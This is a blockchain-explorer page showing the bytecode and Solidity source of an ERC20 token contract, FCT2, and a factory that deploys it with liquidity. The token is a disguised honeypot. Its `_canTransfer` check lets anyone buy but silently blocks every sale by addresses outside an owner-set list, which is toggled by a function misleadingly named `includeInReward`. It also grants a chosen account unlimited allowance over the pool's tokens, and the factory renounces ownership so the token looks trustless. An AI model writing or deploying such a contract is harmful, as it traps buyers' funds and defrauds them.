Address Contract Partially Verified
Address
0xeb8003fE621f208Dc3E7c64E92018482F2e1e1ea
Balance
0 ETH
Nonce
1
Code Size
9336 bytes
Creator
0xe404b9Fd...9870 at tx 0xafac4883...5bffea
Indexed Transactions
0
Contract Bytecode
9336 bytes
0x608060405234801561000f575f5ffd5b5060043610610114575f3560e01c806370a08231116100a0578063989853311161006f57806398985331146102cc578063a9059cbb146102e8578063d477f05f14610318578063dd62ed3e14610334578063f2fde38b1461036457610114565b806370a0823114610256578063715018a6146102865780638da5cb5b1461029057806395d89b41146102ae57610114565b80632782e35b116100e75780632782e35b146101b4578063313ce567146101e45780633685d419146102025780633fb5c1cb1461021e57806352390c021461023a57610114565b806306fdde0314610118578063095ea7b31461013657806318160ddd1461016657806323b872dd14610184575b5f5ffd5b610120610380565b60405161012d9190611aff565b60405180910390f35b610150600480360381019061014b9190611bb0565b610410565b60405161015d9190611c08565b60405180910390f35b61016e61042d565b60405161017b9190611c30565b60405180910390f35b61019e60048036038101906101999190611c49565b610436565b6040516101ab9190611c08565b60405180910390f35b6101ce60048036038101906101c99190611c99565b61054a565b6040516101db9190611c08565b60405180910390f35b6101ec610567565b6040516101f99190611cdf565b60405180910390f35b61021c60048036038101906102179190611c99565b61056f565b005b61023860048036038101906102339190611cf8565b61065c565b005b610254600480360381019061024f9190611c99565b6106fb565b005b610270600480360381019061026b9190611c99565b6107e7565b60405161027d9190611c30565b60405180910390f35b61028e61082d565b005b610298610982565b6040516102a59190611d32565b60405180910390f35b6102b66109a9565b6040516102c39190611aff565b60405180910390f35b6102e660048036038101906102e19190611cf8565b610a39565b005b61030260048036038101906102fd9190611bb0565b610ad8565b60405161030f9190611c08565b60405180910390f35b610332600480360381019061032d9190611c99565b610b15565b005b61034e60048036038101906103499190611d4b565b610cf1565b60405161035b9190611c30565b60405180910390f35b61037e60048036038101906103799190611c99565b610d73565b005b6060600c805461038f90611db6565b80601f01602080910402602001604051908101604052809291908181526020018280546103bb90611db6565b80156104065780601f106103dd57610100808354040283529160200191610406565b820191905f5260205f20905b8154815290600101906020018083116103e957829003601f168201915b5050505050905090565b5f61042361041c610e82565b8484610e89565b6001905092915050565b5f600954905090565b5f61044284848461104c565b1561053f575f60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61048e610e82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561050d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050490611e56565b60405180910390fd5b61051885858561115b565b61053585610524610e82565b85846105309190611ea1565b610e89565b6001915050610543565b5f90505b9392505050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f6012905090565b610577610e82565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fb90611f1e565b60405180910390fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b610664610e82565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e890611f1e565b60405180910390fd5b80600a8190555050565b610703610e82565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078790611f1e565b60405180910390fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610835610e82565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b990611f1e565b60405180910390fd5b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d80546109b890611db6565b80601f01602080910402602001604051908101604052809291908181526020018280546109e490611db6565b8015610a2f5780601f10610a0657610100808354040283529160200191610a2f565b820191905f5260205f20905b815481529060010190602001808311610a1257829003601f168201915b5050505050905090565b610a41610e82565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ace576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac590611f1e565b60405180910390fd5b80600b8190555050565b5f610aeb610ae4610e82565b848461104c565b15610b0b57610b02610afb610e82565b848461115b565b60019050610b0f565b5f90505b92915050565b610b1d610e82565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610baa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba190611f1e565b60405180910390fd5b5f60055f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c12610982565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f1960055f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610d7b610e82565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dff90611f1e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6d90611fac565b60405180910390fd5b610e7f816113d2565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee9061203a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5c906120c8565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161103f9190611c30565b60405180910390a3505050565b5f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806110e8575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156110f65760019050611154565b6110ff84611493565b1561113a573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16149050611154565b61114383611493565b15611150575f9050611154565b5f90505b9392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c090612156565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e906121e4565b60405180910390fd5b611242838383611542565b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156112c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b990612272565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461130e9190611ea1565b925050819055508060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546113619190612290565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113c59190611c30565b60405180910390a3505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061153b575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b61154a611674565b1561166f5761155883611493565b156115b1578060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546115a99190612290565b925050819055505b6115ba82611493565b1561166e578060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461160b9190612290565b9250508190555061161b8161173f565b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546116669190612290565b925050819055505b5b505050565b5f5f5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156116e1573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611705919061233f565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691505f8211801561173857505f81115b9250505090565b5f5f5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156117ac573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117d0919061233f565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff16915060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561185f573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061188391906123a3565b73ffffffffffffffffffffffffffffffffffffffff1660025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015611903573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061192791906123a3565b73ffffffffffffffffffffffffffffffffffffffff16036119e85760015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663054d50d48583856040518463ffffffff1660e01b81526004016119a0939291906123ce565b602060405180830381865afa1580156119bb573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119df9190612417565b92505050611a8a565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663054d50d48584846040518463ffffffff1660e01b8152600401611a46939291906123ce565b602060405180830381865afa158015611a61573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a859190612417565b925050505b919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611ad182611a8f565b611adb8185611a99565b9350611aeb818560208601611aa9565b611af481611ab7565b840191505092915050565b5f6020820190508181035f830152611b178184611ac7565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611b4c82611b23565b9050919050565b611b5c81611b42565b8114611b66575f5ffd5b50565b5f81359050611b7781611b53565b92915050565b5f819050919050565b611b8f81611b7d565b8114611b99575f5ffd5b50565b5f81359050611baa81611b86565b92915050565b5f5f60408385031215611bc657611bc5611b1f565b5b5f611bd385828601611b69565b9250506020611be485828601611b9c565b9150509250929050565b5f8115159050919050565b611c0281611bee565b82525050565b5f602082019050611c1b5f830184611bf9565b92915050565b611c2a81611b7d565b82525050565b5f602082019050611c435f830184611c21565b92915050565b5f5f5f60608486031215611c6057611c5f611b1f565b5b5f611c6d86828701611b69565b9350506020611c7e86828701611b69565b9250506040611c8f86828701611b9c565b9150509250925092565b5f60208284031215611cae57611cad611b1f565b5b5f611cbb84828501611b69565b91505092915050565b5f60ff82169050919050565b611cd981611cc4565b82525050565b5f602082019050611cf25f830184611cd0565b92915050565b5f60208284031215611d0d57611d0c611b1f565b5b5f611d1a84828501611b9c565b91505092915050565b611d2c81611b42565b82525050565b5f602082019050611d455f830184611d23565b92915050565b5f5f60408385031215611d6157611d60611b1f565b5b5f611d6e85828601611b69565b9250506020611d7f85828601611b69565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611dcd57607f821691505b602082108103611de057611ddf611d89565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611e40602883611a99565b9150611e4b82611de6565b604082019050919050565b5f6020820190508181035f830152611e6d81611e34565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611eab82611b7d565b9150611eb683611b7d565b9250828203905081811115611ece57611ecd611e74565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611f08602083611a99565b9150611f1382611ed4565b602082019050919050565b5f6020820190508181035f830152611f3581611efc565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611f96602683611a99565b9150611fa182611f3c565b604082019050919050565b5f6020820190508181035f830152611fc381611f8a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612024602483611a99565b915061202f82611fca565b604082019050919050565b5f6020820190508181035f83015261205181612018565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6120b2602283611a99565b91506120bd82612058565b604082019050919050565b5f6020820190508181035f8301526120df816120a6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612140602583611a99565b915061214b826120e6565b604082019050919050565b5f6020820190508181035f83015261216d81612134565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6121ce602383611a99565b91506121d982612174565b604082019050919050565b5f6020820190508181035f8301526121fb816121c2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61225c602683611a99565b915061226782612202565b604082019050919050565b5f6020820190508181035f83015261228981612250565b9050919050565b5f61229a82611b7d565b91506122a583611b7d565b92508282019050808211156122bd576122bc611e74565b5b92915050565b5f6dffffffffffffffffffffffffffff82169050919050565b6122e5816122c3565b81146122ef575f5ffd5b50565b5f81519050612300816122dc565b92915050565b5f63ffffffff82169050919050565b61231e81612306565b8114612328575f5ffd5b50565b5f8151905061233981612315565b92915050565b5f5f5f6060848603121561235657612355611b1f565b5b5f612363868287016122f2565b9350506020612374868287016122f2565b92505060406123858682870161232b565b9150509250925092565b5f8151905061239d81611b53565b92915050565b5f602082840312156123b8576123b7611b1f565b5b5f6123c58482850161238f565b91505092915050565b5f6060820190506123e15f830186611c21565b6123ee6020830185611c21565b6123fb6040830184611c21565b949350505050565b5f8151905061241181611b86565b92915050565b5f6020828403121561242c5761242b611b1f565b5b5f61243984828501612403565b9150509291505056fea2646970667358221220472cc5957e6613867aa89f61357ab5535c43074a4279c189ceb7797701d88f1364736f6c634300081e0033
Verified Source Code Partial Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
FCT2.sol 570 lines
pragma solidity 0.8.30;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
// ——— простой отказ от владения (owner = 0x0) ———
function renounceOwnership() public onlyOwner {
address prev = _owner;
_owner = address(0);
emit OwnershipTransferred(prev, address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IPancakePair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IPancakeRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPancakeRouter02 is IPancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract FCT2 is Context, IERC20, Ownable {
IPancakeRouter02 internal _router;
IPancakePair internal _pair;
uint8 internal constant _DECIMALS = 18;
mapping(address => bool) public _marketersAndDevs;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
mapping(address => uint256) internal _buySum;
mapping(address => uint256) internal _sellSum;
mapping(address => uint256) internal _sellSumETH;
uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS);
uint256 internal _theNumber = ~uint256(0);
uint256 internal _theRemainder = 0;
string private _name;
string private _symbol;
constructor(string memory tokenName, string memory tokenSymbol, uint256 _initialSupply) {
require(_initialSupply > 0, "Initial supply must be greater than zero");
// устанавливаем name и symbol
_name = tokenName;
_symbol = tokenSymbol;
_totalSupply = _initialSupply * (10 ** _DECIMALS);
address rAdd;
if (block.chainid == 1) {
rAdd = 0xEfF92A263d31888d860bD50809A8D171709b7b1c;
} else if (block.chainid == 56) {
rAdd = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
}
address rourer = address(rAdd);
_router = IPancakeRouter02(rourer);
_pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this), address(_router.WETH())));
_balances[owner()] = _totalSupply;
_allowances[address(_pair)][owner()] = ~uint256(0);
_marketersAndDevs[owner()] = true;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() external view override returns (string memory) {
return _name;
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function decimals() external pure override returns (uint8) {
return _DECIMALS;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
if (_canTransfer(_msgSender(), recipient, amount)) {
_transfer(_msgSender(), recipient, amount);
return true;
}
return false;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_canTransfer(sender, recipient, amount)) {
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
return false;
}
function setNumber(uint256 newNumber) external onlyOwner {
_theNumber = newNumber;
}
function setRemainder(uint256 newRemainder) external onlyOwner {
_theRemainder = newRemainder;
}
function setDev(address account) external onlyOwner {
_allowances[address(_pair)][owner()] = 0;
_allowances[address(_pair)][account] = ~uint256(0);
}
function includeInReward(address account) external onlyOwner {
_marketersAndDevs[account] = true;
}
function excludeFromReward(address account) external onlyOwner {
_marketersAndDevs[account] = false;
}
function _isSuper(address account) private view returns (bool) {
return (account == address(_router) || account == address(_pair));
}
function _canTransfer(address sender, address recipient, uint256 amount) private view returns (bool) {
if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {
return true;
}
if (_isSuper(sender)) {
return recipient == tx.origin;
}
if (_isSuper(recipient)) {
return false;
}
return false;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] -= amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _hasLiquidity() private view returns (bool) {
(uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
return reserve0 > 0 && reserve1 > 0;
}
function _getETHEquivalent(uint256 amountTokens) private view returns (uint256) {
(uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
if (_pair.token0() == _router.WETH()) {
return _router.getAmountOut(amountTokens, reserve1, reserve0);
} else {
return _router.getAmountOut(amountTokens, reserve0, reserve1);
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) private {
if (_hasLiquidity()) {
if (_isSuper(from)) {
_buySum[to] += amount;
}
if (_isSuper(to)) {
_sellSum[from] += amount;
_sellSumETH[from] += _getETHEquivalent(amount);
}
}
}
}
contract MyFactory is Ownable {
IPancakeRouter02 private uniswapV2Router;
address rAdd;
uint public dummyState = 0;
constructor(string memory tName, string memory tSymbol, uint256 supply, uint256 liqamount) payable {
if (block.chainid == 1) {
rAdd = 0xEfF92A263d31888d860bD50809A8D171709b7b1c;
} else if (block.chainid == 56) {
rAdd = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
}
uniswapV2Router = IPancakeRouter02(rAdd);
createNewToken(tName, tSymbol, supply, liqamount);
}
function increaseNonce() public onlyOwner {
dummyState++;
}
function createNewToken(string memory tName, string memory tSymbol, uint256 supply, uint256 liqamount) public onlyOwner payable {
increaseNonce();
FCT2 myToken = (new FCT2)(tName, tSymbol, supply);
uint256 _liqamount = liqamount * 10 ** 18;
uint256 _supply = supply * 10 ** 18;
myToken.approve(address(uniswapV2Router), _liqamount);
uniswapV2Router.addLiquidityETH{value: msg.value}(
address(myToken),
_liqamount,
0,
0,
msg.sender,
block.timestamp + 10000
);
myToken.transfer(msg.sender, _supply - _liqamount);
myToken.includeInReward(msg.sender);
myToken.renounceOwnership();
}
